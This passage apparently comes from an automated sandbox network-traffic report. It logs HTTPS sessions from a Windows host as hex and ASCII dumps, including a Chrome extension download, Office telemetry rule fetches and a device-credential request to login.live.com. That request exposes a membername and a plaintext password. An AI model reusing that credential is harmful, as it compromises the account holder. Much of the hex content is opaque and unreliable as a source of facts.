2024-11-26 21:52:43 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 138356 X-GUploader-UploadID: AFiumC40JuKeWi09IlidgJzdwnB85_wF1eJ2XjVMAmpyXMVcNz2b4RW9T8-1zaN1sSIN4kxE6mBvKlZsrQ X-Goog-Hash: crc32c=ld9IFg== Server: UploadServer Date: Tue, 26 Nov 2024 16:45:00 GMT Expires: Wed, 26 Nov 2025 16:45:00 GMT Cache-Control: public, max-age=31536000 Age: 18463 Last-Modified: Tue, 19 Nov 2024 16:44:49 GMT ETag: 2373c8b9_cba0b209_e851cacf_d4df989e_81c52a41 Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-26 21:52:43 UTC	817	IN	Data Raw: 43 72 32 34 03 00 00 00 e0 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 5f b2 be 56 5f e7 71 3a 5f 86 5f 7f f9 35 7d d5 75 53 5c 9b ff 18 eb af ff 78 3f ab fa d7 9f 7e 5d cf 1f 43 2d ff b3 ba 0c 53 3d 4c bf fe f2 f7 5f 63 f1 50 97 42 ea cf d7 8f b0 2d 4d db 10 dc 36 32 b3 69 2a b3 51 d5 e3 f8 c4 ad eb 39 ef e7 ef dc 9c de 2b 53 3d 89 f4 f8 84 0e 2f 36 3a df cf c2 57 83 c8 90 71 6c 2f 67 fd f9 26 6a a9 79 fc f9 7b af ae 22 8b ce b1 9a fe 7c 1c dc 46 fa 1f e7 f8 7c 9c a3 f6 e3 56 f9 f6 f0 f3 99 aa 77 be 25 74 2e 79 86 2e 3f df 17 26 e2 e2 61 cc 9c 7f 3c d2 6e c2 88 c1 89 f6 53 2b 7c d4 17 3d 05 72 61 c7 0a 84 08 01 b1 27 7d f8 28 82 70 57 fb c2 16 8f d0 39 05 d7 73 e5 43 a3 d8 1f 9f 8e ca b9 96 26 6a 4a 9f 2d 27 13 f6 27 13 a8 ca 42 8d 30 f5 75 3f 2e a5 b9 3b 9f f6 e1 a3 34 9d 7f cf f3 e7 d9 c2 b9 f0 d4 c0 ac e6 90 42 86 4e 5c Data Ascii: _V_q:__5}uS\x?~]C-S=L_cPB-M62i*Q9+S=/6:Wql/g&jy{"\|F\|Vw%t.y.?&a<nS+\|=ra'}(pW9sC&jJ-''B0u?.;4BN\
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 8e b5 a1 c8 fb ee 81 60 65 eb 98 45 ab ec b5 f7 df 38 3e ce 17 36 8b 4c d7 7b 85 4d 64 18 16 65 b0 90 1e f2 cb 03 4c 8a 00 e1 48 79 96 ec 9b 3d f6 a0 d6 80 10 57 0f 10 60 43 7e af 8e 3f 1c b7 7a ee 1d 59 c2 29 1a 94 12 c6 ec 9e 28 ba 47 74 ea a9 92 fb f2 20 bd f4 20 c3 8a 8a 04 03 ec 56 83 d6 68 aa f5 88 d1 39 0a d6 d7 be fa 7f 68 70 d5 e2 31 37 1a 25 03 f1 55 98 2a 4b bd 68 22 81 eb 25 ad 18 84 19 e6 b8 d7 a1 60 b9 67 e1 89 9c f6 e2 ad 52 d0 c5 a6 dc ad e7 9e dc ca 7f d2 3e 77 87 7d e1 a1 a5 e9 a4 17 9a 04 c0 1e 05 42 14 c6 78 22 8b d6 00 1f f3 28 78 31 13 f3 7e 67 01 4e 72 8a 0f 75 ff 71 5f e5 6f 6d cd bd d1 43 0a 76 99 35 be 4a e5 2d 31 6c 3a 02 10 c5 56 13 ea 1e 23 15 1d 58 74 af 43 75 3d f0 13 03 bc 22 a2 fc ca 82 66 b9 ee fd 2e c5 46 f6 b8 53 d7 bc Data Ascii: `eE8>6L{MdeLHy=W`C~?zY)(Gt Vh9hp17%U*Kh"%`gR>w}Bx"(x1~gNruq_omCv5J-1l:V#XtCu="f.FS
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: eb 3e aa 67 36 b6 c2 7d dd cf 6f 71 6a 3c aa 40 7e 15 06 ce 18 81 87 14 8e b0 58 44 27 7a dd 77 ac b1 b7 dc 66 ab cf 89 e9 ce a6 3c ec 05 3f 02 02 d8 27 ea 46 4f 70 bb e1 2d 44 84 4e 09 f6 ed 1b e9 1b c5 3d 68 a6 0c d9 75 0f 3f b1 8e cd 35 f6 95 bf 91 bd 1a 69 d1 42 51 b5 ee b9 e2 ce 89 50 6c 26 16 de 89 5e bc e6 c4 fd 26 da f5 e3 ce 69 10 77 1e cc c8 01 e9 9e 41 6a 55 a0 38 bc ac b1 bf 6b be 7b ba 51 77 aa c0 9b 05 fc b0 44 37 6a e6 e1 c0 0e 78 4a 7b 14 13 4f eb 10 ed ee 3f fb 8d c4 1f af b9 25 7e f2 af cb 87 f0 11 f9 c7 c7 ff c1 df c8 80 4b b7 c6 3f 03 ce 51 66 ae c1 bd e9 35 31 9c a0 54 88 27 0b eb 52 98 2c 14 76 36 e7 d3 53 74 70 f3 94 48 50 51 74 c1 6a 6c c5 02 57 75 bf ea 37 d6 5c 85 75 ff 1a de 92 f6 c3 8e 3c db 2b f4 fc 0a bf 49 4b a8 ce 14 7e 00 Data Ascii: >g6}oqj<@~XD'zwf<?'FOp-DN=hu?5iBQPl&^&iwAjU8k{QwD7jxJ{O?%~K?Qf51T'R,v6StpHPQtjlWu7\u<+IK~
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 48 3f c7 20 98 a3 4a ae e7 0e 9d 1f 06 63 15 24 ff cb b8 61 7b a2 4e 58 74 c0 4c 09 86 ba 97 48 e8 03 c4 a9 0f ee 35 65 bd 60 e1 21 a1 18 44 a6 bd 68 e1 33 23 9a dc 91 a1 d2 1c 38 bf d3 98 ca 64 0f d9 ab 56 8f 6d 95 56 f8 a5 e3 ec 3d ef d5 2d b3 5c 3d e6 ff 3a fe 0d 19 c0 60 d4 b8 23 8f b9 88 da a3 ee df 88 f6 ec a7 9c 21 9f 2e 21 cc 81 f2 75 fd ed 12 f6 f3 fe 52 6a 9f db f0 a2 fb e9 a7 81 d4 f7 eb f5 58 53 9e 25 3f f7 32 7e 98 ff 3b 96 ae c7 fe 9f e7 2d df ff f0 9c e5 bf be 3b 4a 9f 4d 99 a9 ba 7f 9d 95 6c 74 8c da b7 42 c7 85 e0 d3 bd e4 8e ca 4d fb 56 f6 ea 5a f6 b6 f6 9f f3 77 e9 37 5f 85 df 9d ff fb bb 96 8e e7 01 8d 3f b9 f3 73 16 f3 d4 7e 18 a7 d6 fb f9 ff 5d c7 97 a1 e3 ee bb 84 8e a9 59 2c 05 d7 fa d6 5e e6 f7 e4 df 87 46 8b e9 f6 55 5f 7f fd e5 Data Ascii: H? Jc$a{NXtLH5e`!Dh3#8dVmV=-\=:`#!.!uRjXS%?2~;-;JMltBMVZw7_?s~]Y,^FU_
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 50 3d 5b 7f a3 9a c1 c2 43 a0 f0 9c cf 84 2c dc 6f 77 dd ff 5e 04 27 23 01 db 3b d0 22 fa fd ca c2 00 94 91 17 e4 5e bb e4 28 b3 f2 09 87 4b 75 14 8e e0 c2 6f 3a 13 0a 28 96 4a ee 0a 6a 2c 09 f3 2c c2 e9 23 6a 8c ec 09 a0 e8 96 87 84 d2 68 a5 cd ca f5 ec 0a 46 60 f9 be 7b e8 5e a6 f5 2e a5 46 6e c8 a6 db bc 01 50 4b 07 08 1d fb 12 3a a0 00 00 00 23 01 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 72 6f 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 c1 4e 1c 31 0c bd f3 15 d6 9c 8a 34 a0 65 7b 82 1b 82 55 4f 85 aa 2d 97 aa 17 6f c6 b3 58 ca 38 51 Data Ascii: P=[C,ow^'#;"^(Kuo:(Jj,,#jhF`{^.FnPK:#PK!-_locales/ro/messages.jsonUT6*g Ad/RN14e{UO-oX8Q
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: ee 12 87 56 cb 68 4b 0f 6e 3d 2c 91 9f b7 f2 c2 8f 9e 81 ed 64 91 89 5f c8 93 db ec d7 38 3e f4 ec 97 19 5a 11 ad f3 b8 82 28 3a 6c b3 ee 24 e1 50 fb 79 09 cf f1 ad 57 e9 76 70 aa 85 35 32 aa 0a 0f 41 0d 1c 63 cf 15 51 0d 8c 44 97 9c 43 b8 94 04 8f 60 5f 09 e2 4b c0 6e a2 3a 29 12 e1 86 4f 49 97 b9 92 11 e2 5a d6 16 fc 60 20 03 a5 d7 f5 68 06 5f 65 93 9a dd ad 65 97 51 8b ac 05 b4 69 a5 64 30 17 f8 1c 4a 1d 10 6c a0 02 36 20 1b 29 c2 cd 6a e6 f5 e9 55 66 60 81 a8 0e 0c 0c 22 4a e0 41 05 8c 7f 9c 57 46 cf 54 ff 32 7c 7d 9b 6e 4b 1e be a1 2b 8b 2c ea 96 fa 5c 18 5d 04 b1 51 7c 89 a2 45 6d 3a 0b 61 c3 6f a2 78 04 e6 19 c0 10 c1 b2 2f e8 63 ec 0d 6c f9 20 a0 26 d6 8b ea b0 75 64 be 5d fd c4 70 d9 3b b5 ed d4 f1 bc 8d 4d 4a b4 8e 05 bc 1a 18 57 05 34 4d 40 13 Data Ascii: VhKn=,d_8>Z(:l$PyWvp52AcQDC`_Kn:)OIZ` h_eeQid0Jl6 )jUf`"JAWFT2\|}nK+,\]Q\|Em:aox/cl &ud]p;MJW4M@
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 8f 15 60 c1 98 b9 ab 80 ac 82 c5 04 63 89 63 38 bd 2a 36 1c e9 9a 44 2a 3c 4e 2d ee 92 46 8e 50 dc e3 94 bb f5 61 c2 1d cf 5c 48 24 42 49 6c 12 12 d7 49 d9 ae b5 78 32 3e ee bd 6d 14 36 10 04 42 78 75 49 e8 56 12 9a c0 f8 4e 5b 9e a8 18 48 07 60 fa c4 f3 b8 1c e9 66 42 8d 56 0a 4d 3a 20 57 32 60 3d 87 5b 12 2d 22 e5 44 56 25 e1 21 a6 58 0d e8 46 f5 04 83 06 0e 87 28 fb a4 f0 19 18 b8 02 88 01 7c 80 61 ef 0c 9c e0 24 d3 07 48 c9 09 3f e2 9c 5e e9 89 97 4b 26 3f f6 66 0d 22 cf 03 86 52 31 81 e4 3a 97 fa 54 dc fb b0 49 d9 ef a1 7d 1a 46 e5 77 f4 02 a7 fd a6 7b 35 4f fa 61 2c 0d 6e 07 7a 72 4d 94 18 5d f3 fe 4e 2c 30 9b 6d f6 54 60 d0 58 d4 81 d8 05 43 89 9b 2d 91 75 b1 84 72 e5 82 16 5a a8 d1 8f 71 28 22 a2 ed 69 03 7e 0f 3a 87 3c 26 69 4c 4d 0a 36 d7 c7 a7 Data Ascii: `cc86D<N-FPa\H$BIlIx2>m6BxuIVN[H`fBVM: W2`=[-"DV%!XF(\|a$H?^K&?f"R1:TI}Fw{5Oa,nzrM]N,0mT`XC-urZq("i~:<&iLM6
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: 3f a2 77 74 f9 39 14 92 6f 30 19 61 42 16 3c c5 8e d8 b3 84 2e 10 d8 71 39 f8 5c 22 7b 60 27 ee 3a 3f 1a 26 6a f5 a8 f2 1f 13 ad 85 fc dd 51 24 58 d5 3c 25 19 9d fa 2b 81 d6 c7 4d 37 fd 9a e2 f2 53 ad 5f c1 c9 b9 41 f8 0f 77 84 84 39 d5 5c 7f 74 b0 dd bb 43 ac e6 be ce d5 bf df bb 77 82 1b a6 ff 9c 05 67 3a 77 fe 7a f2 5d 9a 09 4d 66 b5 8d f8 e6 d8 2d cb 4e 6d ee a3 82 48 7b c6 a8 5d b2 e8 52 97 3d e5 a5 b8 ef 36 ad cf 46 de f8 e7 8e 98 46 5f 0f 08 b5 d5 be 41 c5 77 eb e3 54 28 7a 31 07 87 c9 e3 1b f0 13 22 9f 73 e2 40 ce 5e e0 09 2d 54 01 dc 63 06 df 9b 0e c1 43 bf 5c bc 02 50 4b 07 08 c0 47 8a 9f 88 01 00 00 46 03 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 6b 6d 2f 6d 65 73 Data Ascii: ?wt9o0aB<.q9\"{`':?&jQ$X<%+M7S_Aw9\tCwg:wz]Mf-NmH{]R=6FF_AwT(z1"s@^-TcC\PKGFPK!-_locales/km/mes
2024-11-26 21:52:43 UTC	1390	IN	Data Raw: c1 c2 b3 df 74 6f 40 46 69 27 57 e6 ee 9e df fa e6 7c 6c 22 ff dc fc cd 83 bf 84 75 53 df fb 95 fb e0 a6 5b e2 f7 c1 5f 87 cb 78 0d a9 ac a4 0c 68 8e 44 f1 68 52 0e 42 cf 48 31 70 61 e4 4c d1 69 c5 a7 46 2f 04 a6 71 7a 9a be 86 7e 9a df 4a 91 d1 b6 e2 f0 34 96 a4 11 21 a4 4d e9 67 b4 5d b3 aa 52 cd 51 3d 41 bb 66 f2 ab fd 2b c2 fc 18 cf 78 47 7c 50 e9 5f 0e f0 9b c4 43 6a 2a f2 42 35 42 84 04 d7 70 02 ab 0d b5 b1 89 32 98 e2 55 e6 4f d6 3f 1c 81 d7 4f df 01 50 4b 07 08 80 81 20 9b 32 02 00 00 f3 0a 00 00 50 4b 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 6b 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 ca 36 2a 67 0a 00 20 00 00 00 00 00 01 00 18 00 00 41 64 ae 95 2f db 01 00 Data Ascii: to@Fi'W\|l"uS[_xhDhRBH1paLiF/qz~J4!Mg]RQ=Af+xG\|P_CjB5Bp2UO?OPK 2PK!-_locales/sk/messages.jsonUT6g Ad/

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.7	49814	20.190.177.146	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:43 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-26 21:52:43 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 74 6a 75 74 65 71 62 75 70 67 6d 6d 71 79 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 52 62 71 76 67 71 70 62 3f 66 59 5a 68 72 2a 51 25 50 62 66 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 71 74 6c 74 6e 74 63 62 72 65 71 75 61 6a 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02tjuteqbupgmmqy</Membername><Password>Rbqvgqpb?fYZhr*Q%Pbf</Password></Authentication><OldMembername>02qtltntcbrequaj</OldM
2024-11-26 21:52:46 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Tue, 26 Nov 2024 21:51:43 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C526_BAY x-ms-request-id: ab355ae8-e417-446d-851c-b01a8a427358 PPServer: PPV: 30 H: PH1PEPF0001B6E7 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 26 Nov 2024 21:52:45 GMT Connection: close Content-Length: 17166
2024-11-26 21:52:46 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 34 30 31 31 39 41 33 33 31 35 33 36 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 65 66 33 34 66 31 34 36 2d 62 38 34 36 2d 34 36 36 63 2d 62 66 37 34 2d 66 38 31 33 34 65 38 62 39 30 66 36 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>001840119A331536</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="ef34f146-b846-466c-bf74-f8134e8b90f6" LicenseID="3252b20c-d425-4711
2024-11-26 21:52:46 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.7	49829	162.159.61.3	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:43 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 21:52:43 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
77	192.168.2.7	49828	13.107.246.63	443	7672	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:44 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:44 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 14d8e695-801e-008c-6b91-3f7130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215244Z-174f78459685726chC1EWRsnbg0000000w1g00000000es9p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:44 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.7	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:44 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:44 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: a2105f9f-201e-00aa-1591-3f3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215244Z-174f7845968cpnpfhC1EWR3afc0000000vng00000000ckfy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:44 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.7	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:44 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:44 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 97970dc3-901e-008f-6c91-3f67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215244Z-174f7845968zgtf6hC1EWRqd8s0000000p0g000000007btr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:44 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: 